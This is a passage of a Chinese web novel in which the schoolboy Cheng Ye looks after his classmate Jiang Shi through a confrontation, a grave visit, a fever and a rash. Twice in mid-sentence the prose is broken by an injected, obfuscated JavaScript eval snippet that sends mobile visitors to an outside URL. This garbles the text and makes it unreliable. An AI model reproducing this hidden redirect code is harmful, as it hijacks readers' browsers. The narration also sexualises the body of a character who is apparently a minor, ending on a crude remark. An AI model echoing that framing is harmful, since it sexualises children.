程野松开手,像条被驯服的狗,乖顺的站在他身边,完全看不出刚刚捏人的狠劲。 霍寂揉着肩膀脸色阴沉,“你来林城就认识这些不三不四的人?” 江时顿时不开心了,“什么叫不三不四的人?我看你才不三不四。霍寂,少拿在江城那套对付我,我不是宋时,宋家跟我没关系。而且,这是我最后一次跟你吃饭,以后你别来找我了。” “江时……”霍寂捂着唇低低地咳了两声,咳到最后,声音越咳越大,弯着腰,撕心裂肺。 “江时,你以为你换个地方,换个身份就能摆脱我吗?我告诉你,不可能!迟早有一天,你会来求我的,我想要的,从来就没有得不到,你会来求我,你会来……” 哗—— 一杯茶迎面兜了下来。 程野放下茶杯,站在霍寂面前,居高临下的看着他。 霍寂回神,对上程野的视线。 他看到了一种目光,那目光他见到过很多次。 从小到大,这种目光经常围绕在江时身边,再后来,这种目光出现在他眼里。 霍寂嗅到了同类的味道。 “你……” 他撑着椅子想要站起来,程野却不给他这个机会。 不到十八的男生生得高大,宽阔的肩背把霍寂完全挡住。在他面前,程野露出类似野兽的冰冷光芒。 他弯腰靠近霍寂,声音很低,只有两人听得见。 “他不会求你的。 他想要的,我都会给他。 爱情、金钱、荣誉……只要他想要,我都会给他。 他不会记得你是谁,他比谁都高贵,没谁会让他低头。 我不行,你更不行。” 程野松开手。 “对了,记住,我叫程野。” 24.第 24 章 这顿晚饭自然没吃成。 江时和程野也没赶上回家的车,两人踩着清明的第一场细雨,从学校左边的巷子口拐进去,进了家冒着烟的烧烤店。 这时候吃烧烤的人很多,老板忙得热火朝天,看见两个半大的少年进来,头也不抬,“前面有盘子,要吃什么自己拿,拿好了排队烤。” 江时双手缩在校服外套的兜里,看着脚底不知道谁弄掉的土豆片,嫌弃地往程野身后站,猫猫祟祟探出半张脑袋,“程野,我要玉米。” 程野拿了玉米。 “土豆。” “金针菇。” “四季豆。” “……” “少爷。”程野扭头低眸看他,“不吃肉吗?” 少爷看了眼肉,又移开目光,“不吃,太贵了。” 真不容易,知道省钱了。 程野拿了鸡腿,又拿了牛肉。 江时:“哎……” 程野道:“我付钱。” 江时狐疑看他,“你哪里来的钱?” 程野面不改色,“前两天打扫卫生,从陈建斌床底翻出来的。” 江时:“那你可以……” 程野知道他要说什么,不紧不慢开口,“钱不多,只够吃一顿烧烤。” 江时:“……” 总感觉哪里有问题。 可程野的钱都花在他身上,江时思来想去也没想明白哪里有问题,总不能是程野脑子傻了,白给他花钱吧? 点完菜,两人找地方坐下。 老板太忙了,上一桌吃剩的东西都没收拾。 程野把东西收拾了,一回头,江时还保持着双手插兜的动作,看他看过来,少年朝他抬了抬下巴,“还有椅子,也要擦。” 理直气壮,颐指气使。 程野忽然就笑了。 他抽出纸,给江时擦椅子,“少爷惯会使唤人。” 江时的脸被烧烤摊熏出一层浅淡的粉,粉里透白,在灯光下仿佛能发光,总有眼神往这边瞟。 他道:“你不是我保镖吗?保镖干这些不是很正常?” 程野往右边看了眼,偷看的小女生被他冰冷的眼神吓了一跳,立马收回了目光。 “是很正常,桌子要擦吗?” 江时哼哼一声。 保镖尽职尽责擦了两遍少爷才屈尊落座。 江时半边屁股坐在椅子上,瞧着自己微微辣的烧烤,终于肯把揣兜里的手拿出来。 他拿着牛肉咬了口,觉得这个辣度勉强能接受才接着往下吃。 吃了一串,没忍住问对面的程野,“你说,霍寂真的会找宋建安麻烦吗?” 江时吃两块牛肉的功夫程野已经啃了半个玉米,面对江时的疑惑,他回答道:“不会。” “啊?为什么?” 程野把竹签上的菜撸到碗里放到江时面前,“我猜的。” 因为比起宋建安,霍寂现在更倾向于找他的麻烦。 听君一席话,如听一席话。 在江时无语的眼神里,程野啃完了一个玉米,“既然已经走了,就不要多想,想再多也不会改变既定的事实。” “可是……” 程野拿着筷子点了点江时跟前的盒子,“没有可是,再不吃就冷了。我说了他不会找宋建安的麻烦,那他就不会。” 说得像他有多厉害似的,江时没忍住翻了个白眼。 程野想。 翻白眼也很可爱。 - 一整个清明都在下雨,江时回去窝在房间睡了个天荒地老,第二天被江雪抓起来上坟。 江时终于体会到了什么叫上坟如开荒。 小雨如丝往脸上扑,江时裹着雨衣,鞋上都是泥土,他脚底是长满荒草的路,往前一看,一座山接着一座山。 江雪拿着镰刀在前面开路,“你外公外婆就在前面的山上,到时候你去磕俩个头,求他们保佑你考个好大学。” 江时抹了把脸,绝望的想,这大学不考也罢。 溪柳村没有公墓这种东西,他的太爷太奶长眠于深山老林,连条路也没有,江雪能找到坟全靠记忆。 江时跟着翻了一座又一座的山,直接翻成一个小泥人,到最后两眼发直,看见坟条件反射就下跪。 最后一个是他爸的。 坟墓就在家附近的地里,背后是一颗柳树,跟前是低矮的山洼。 风一吹,柳条随风晃动。 江雪用镰刀一点点将坟上的杂草割干净,江时把袋子里装着的白纸拿出来。 “十八。”江雪道:“我带我们的亲儿子来看你了,他跟你长得很像,还好不是像我,不然多埋汰。” 薄雾蔓延开来,风将江时背后不知道什么时候刮破了道口子的雨衣吹得鼓起,少年的身影单薄沉默。 江时跪在坟前烧了纸。 毕竟从未见过,要说有感情有点假,可血缘就是一种神奇的东西,靠近这个墓,他总会心生柔软。 好像真的有个跟他五六分像的中年男人温柔注视着他。 江时没体会到父爱这种东西。 宋博是很典型的商人,商人重利,他跟孙婉云的结合也没有爱情。 他们的婚姻是场交易,巨额的钱财换取两个人一辈子的绑定。他们需要一个孩子,所以江时在计划内来到他们身边,如同一个交易诞生的产品。 没人会对产品产生感情,价值是他们衡量孩子的唯一标准。 可江雪不一样。 江雪粗俗、笨拙,无钱无势,可却有滔滔不绝的爱。 江雪给江时的爱很多,所以哪怕他没和父亲见过,也能想象出他们的相处模式。 总归是跟宋博和孙婉云不一样的。 江雪督促他,“快跟你爸磕头,让他保佑你考上大学,他在下面肯定能听见。” 江时认认真真磕了三个头,然后在心底默念:保佑江雪平安、健康、快乐。 - 回去的时候天都黑了。 江时身上的雨衣破了,人被淋了个半湿,冷得浑身发僵,嘴唇发白。 黑漆漆的门口站着个黑漆漆的人。 江雪被吓了跳,仔细一看,黑漆漆的人影是程野。 “小野?大晚上的,天都黑了,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15250603|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么过来了?” 程野目光从江时身上扫过,眉头皱起,“我给你们送点吃的,江姨你们上坟上到现在?” 江雪也累得不行,“好几个山头呢,路都找不到,埋的时候风水好不好不知道,可苦了我们这些后代了。” 她打开门,招呼程野进来坐,然后看了眼他手里端着的锅,盖得严严实实的,看不出是什么,“你说你,拿东西过来干什么,家里又不是没有,自己留着吃。” 程野把锅放桌子上,揭开盖子,露出里面炖得软烂的排骨,“江时喜欢,给他的。” 江时吸了吸发红的鼻子,把身上的雨衣脱下来。 他感觉自己的脑袋有些发晕,好一会才反应过来程野说什么,“哦……给我的?” 他闻了闻,不知道是鼻子坏了还是什么,没闻到什么味道,倒是排骨冷了,油脂浮在上面,看着有些腻,“油腻腻的,我不要。” 江雪:“……” 这倒霉孩子。 程野也不生气,把锅盖盖上,“冷了是这样,热了就好了。” “江姨……”他道:“烧点热水给江时洗澡,顺便熬点姜汤,他看起来不太对劲。” 仿佛是为了回应他的话,江时打了个响亮的喷嚏。 江雪着急忙慌去烧水。 江时头上搭着毛巾,跟程野坐在锅边烤火。 他吐槽,“你是不知道那个山有多难爬,路都没有,那树,我一个人都抱不过来,林子里黑黢黢的,还下着雨,被杀了尸体都找不到……” 程野说:“下次我陪你去。” 江时又打了个喷嚏。 水一热,江雪赶紧催他去洗澡。 江时洗完澡出来程野还没走,正垂着眼熬姜汤。江时屁股还没坐下,手里就多了碗散发着辛辣味道的姜汤。 他捧着碗,皱眉,“我不喝。” 程野撩了下眼皮,“打针吃药和姜汤,你选一个。” 江时:“……” 他弱弱,“以我优秀的身体素质,说不定明天它自己就痊愈了呢?” 程野:“你是说你跑两步就喘的身体素质?” 江时给他一脚。 程野拍拍裤腿上的灰,“喝吧。” “我不……” 程野垂下眼,又露出了那种不容拒绝的眼神。 江时是真的不喜欢姜汤的味道,没屈服于强者的淫威,颇有骨气的对视回去。 程野顿了顿,然后蹲下,从兜里摸出一颗奶糖,声音低低的,“少爷,喝了给你吃糖。” 江时想,他是三岁小孩吗? 程野又说:“算我求你好不好?” 男生跟个大型犬一样蹲在他脚边,明明那张俊脸上什么表情也没有,可声音拉长变软,江时诡异的读到了撒娇的感觉。 他鬼使神差地喝了口。 随即被辣得皱起眉头,张嘴正要抱怨,就听见耳边传来一声短促地笑。 “少爷好厉害。” 江时:“……” 白玉一样的耳朵迅速飘红,江时用屁股拱着板凳往另一边挪。 程野果然有病。 25.第 25 章 江时被强行灌了一大碗姜汤,结果第二天起来还是不幸中招了。 他一开始没意识到自己生病了,一觉醒来昏昏沉沉,努力睁开眼睛望旁边一看。 好家伙,柜子长脚似的晃。 江雪乒乒乓乓打扫卫生的声音从外面传来,然后停下,紧接着响起她说话的声音,“程野,你这么早过来玩啊?” “江姨。”程野道:“我来看看江时。” “江时还在睡觉呢。” “我能进去看看吗?” 两人都是男孩子,江雪没多想,“你去呗,他房间在里面。不过这孩子起床气大,你吵醒他,小心他生气跟你发火。” 江时软趴趴地缩在被子里,心想他才没有起床气。 “吱呀”一声响,门被推开一条缝,程野的声音在门边响起,“江时?” 江时想张嘴回应他,可身体不知道怎么回事,一点力气也提不起来,别说张嘴,连抬个手都费劲。 他蛄蛹了下,从嘴里挤出一声粘腻的闷哼。 这声音一听就不对劲,程野当即推门进来。 房间很暗,大红的被子如火一样燃烧,漫天的红印在眼底,显得红里面唯一的白很显眼。少年的脸如同剥了壳的荔枝,脆生生的陷在枕头上,羽睫乌黑,发丝柔软。 冲击对比太强烈,程野站在门口好久都没动。 他喉结攒动,眼底晦暗一片,直到江时又哼了一声才抬脚走过去。 他掀开被子,像拆一件新婚的礼物将人捞起来。少年身上穿了件宽松的T恤,白皙的锁骨从领口敞出来,身上带着一层汗,体温过高,肤色被捂得发粉。 触手生香。 “江时。”程野捏着江时的下颌,指尖从他下巴滑过,捻了一手滑腻的冷汗,“你发烧了,还能听到我说话吗?” 回答他的只有少年靠在颈边粘粘糊糊的哼唧声。 程野找出外套给他披上,转身把人背在背上出了门。 江雪在院子里被吓了一跳,“这是怎么了?” “江时发烧了,我送他去医院。” 江雪把手里的扫帚一丢,“你先背他去,我找钱马上过来。” 江时感觉自己像被丢进岩浆,又像丢进冰箱,一会冷,一会热的,眼皮沉得仿佛能灌铅。 好一会他才慢吞吞睁开眼,只看得见底下的路一晃一晃的。 “程……程野……”他哑着声音喊了声。 程野脚下步子不停,“你醒了?感觉怎么样?” “我……”江时咽了咽口水,“我怎么了?” “你发烧了,现在在去医院的路上。” 听完后他软趴趴的靠在程野肩膀上,一时半会没反应过来,直到到了诊所。 医生还是上次江时过敏买药的那个老头。 他让江时量了体温,把体温计对着光看了看,“有点高啊,得打针。” 江时懵懵的。 医生又朝程野道:“你去把他裤子脱了。” 江时:“??” 江时垂死病中惊坐起,一把抓住自己的裤子,“不是,干嘛要脱我裤子?” 医生埋头找药水,“当然是打针了,不脱怎么打?” 江时:“我不……” 程野按住他的肩膀,“你快四十度,挂点滴太慢,得打针。” 说着他垂下眼,挣扎间,江时身上披着的外套滑了下去,T恤陷了一角在裤子里,别出一截窄窄的腰,再往下,弧度圆润。 医生走过来,“好了没有?” 江时挣扎得更厉害了,“我不要!我的身体我清楚,我好得很,我吃药就可以。” “可以啥子哦。”医生手里的针管泛着冰冷光泽,“按着他,给他扒了,再烧下去人就傻了。” 程野坐江时旁边,伸手扣住那截腰,不知按到哪里,江时顿时软在他怀里。 腰肢塌陷,那圆润显得更加挺翘。 他另一只手搭在裤沿,指尖勾了下,不是很情愿的抬眼看医生。 医生,“看我干什么?脱啊,磨磨蹭蹭。” 程野往下拉了点,呼吸加重。 江雪才赶到门口,江时杀猪一样的叫声传了出来。 她推门进去,就看见江时两只手死死拽着自己裤子,脸上挂着红,不知道是烧的还是什么,一边骂一边踹程野。 那样子一看就是没收力的,一分钟不到,程野裤腿上灰扑扑的。 后者躲也不躲,敛着眉,不知道在想什么。 “干啥呢!干啥呢!”江雪拉开江时,“你怎么老是欺负人家程野呢,你生病还是他发现的,那么远背你来医院,你踹人家干什么?” 江时耳根都是红的,眼里泛着雾气,一半是羞的,一半是气的。 “你也不看看程野都干了什么好事,他怎么能……能……” 呜……他的屁股不清白了。 医生笑呵呵,“不就是被扒了裤子打针嘛,这哪个人没打过针?那些比你小的娃娃都不哭的。” 江雪总算明白发生了什么,她害了一声,“多大点事,屁股蛋嘛,谁没有?长得都一个样,大家都是男生,有什么好害臊的?” 江时垮着一张脸。 早知道今天早上要打针,昨天晚上程野就是哭着求他,他都不会喝那碗姜汤的。 亏了亏了。 而这一切的罪魁祸首就是程野。 江时一整天都没和程野说话,直到晚上回学校。 他烧虽然退了,但整个人没什么力气,一到宿舍倒头就睡。 再次醒来是被痒醒的。 后腰那块不知道怎么了,又麻又痒,江时伸手挠了挠,越挠越挠。 他试着扭头看了看,什么都看不见。 另外几个室友出去吃饭了,程野坐在桌子边赶江时的假期作业。 坐床上的少年飞快看了他一眼,然后又收回目光。 程野笔尖在纸上点了点,在心底默数,数到第三声的时候抓到了一道鬼鬼祟祟的目光。 他在心底笑了声,接着写作业。 果然,两分钟后,江时把怀里的被子团团团,见程野一副沉迷于学习的样子,忍不住开口了,“喂!” 程野这才抬眼。 “我……”江时刚想张嘴,后腰顿时传来一阵痒意,他顾不得说话,伸手就开始挠。 挠了两把,程野两步走到他身边,抓着他的手,“怎么了?” 江时道:“不知道,我后面好痒,你帮我看看怎么了?” 程野把他的手从衣服里抽出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15256524|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,撩开T恤,看见他后腰上长满了密密麻麻的红疹。 他皱着眉,“过敏了,怎么弄的?” 江时表现得比他还茫然,“啊?过敏了?什么时候,我怎么不知道?” 程野看他腰上的样子,估计是昨天上坟碰到了什么,只是烧了一天身体虚弱感觉不到,直到现在挠出红疹才察觉到不对劲。 他把衣服放下去,“别挠了,我去买药,你在宿舍等我。” 这时候江时又想起来自己还在生气,“我自己去,不要你假好心。” 程野把他伸出来的脚捞回来塞被子里,又拉过被子给他团上,蹲在床边,“一天了,还生气呢?” 江时头发乱糟糟,下巴埋在被子里,眼尾挂着高烧没散尽的红。 “没有。” 他说。 程野说:“要不我让你看回来?” 说着他手搭在裤腰上,仿佛只要江时点头立马就能脱下来。 江时瞪圆了眼睛,“谁要看你?” 程野显得很老实,“怕你吃亏。” 江时:“……” 看了他才吃亏好吗? 他抓起枕头往程野身上砸,“你给我滚。” 程野很惋惜地滚去给他买药了,顺道还买了晚饭。 回来的时候江时又睡着了,另外四个室友在安静的看书。少年半张脸陷在枕头里,蜷缩着身体,眉头难受的皱着。 手却乖乖搭在床沿,听话的没挠。 程野扯过自己的被子挂在江时上铺的栏杆上,挡住床上的景象,跪着上了江时的床。 他低头看了会少年的脸庞,把人喊醒,然后把温水和药递过去,“把药吃了。” 江时睡得不熟,程野一叫就醒了。 他坐起来,看看挡住床的被子,又看了眼低头打开药膏的程野,没说什么,默默把药吃了。 吃完了药,江时吞吞吐吐,“我可以自己擦的……” 程野拍拍他的小枕头,“躺好。” 江时:“……” 屁股蛋都被看了,一截后腰算什么?江时自暴自弃地往枕头上一靠,闭上眼睛,不管了。 程野撩开衣服。 红的很触目惊心,白的也很触目,又窄又薄的一片。 他把膏药挤在手上,抹上那截腰。 底下的人像一条敏感的鱼,刚一碰上就打了个挺,细腰在他手底轻颤。 海浪一样在眼底晃。 程野呼吸放轻,伸手将白色膏药推开。 手底丈量出宽度,也感受出弧度,从脊背向下凹陷,然后又蜿蜒向上,拔出一截高度。 他看过那里,白玉一样的山尖,指尖按上去时还会轻晃。 “江时……” 程野哑着声音,用彝语低低说了句话。 江时扭头,“你说什么?” 程野张嘴,又说了遍。 跟念咒似的,江时无语,“能不能说人话?” 程野的掌心贴着少年白皙的腰,粗糙的指腹从上面刮过,没再回应江时的话。 搭在床边的被子将光隔绝,程野跪在江时床上,低着头,眼底映着白,神色却是暗沉的黑。 他说的是: ——小少爷,你屁股真白,看上去好骚。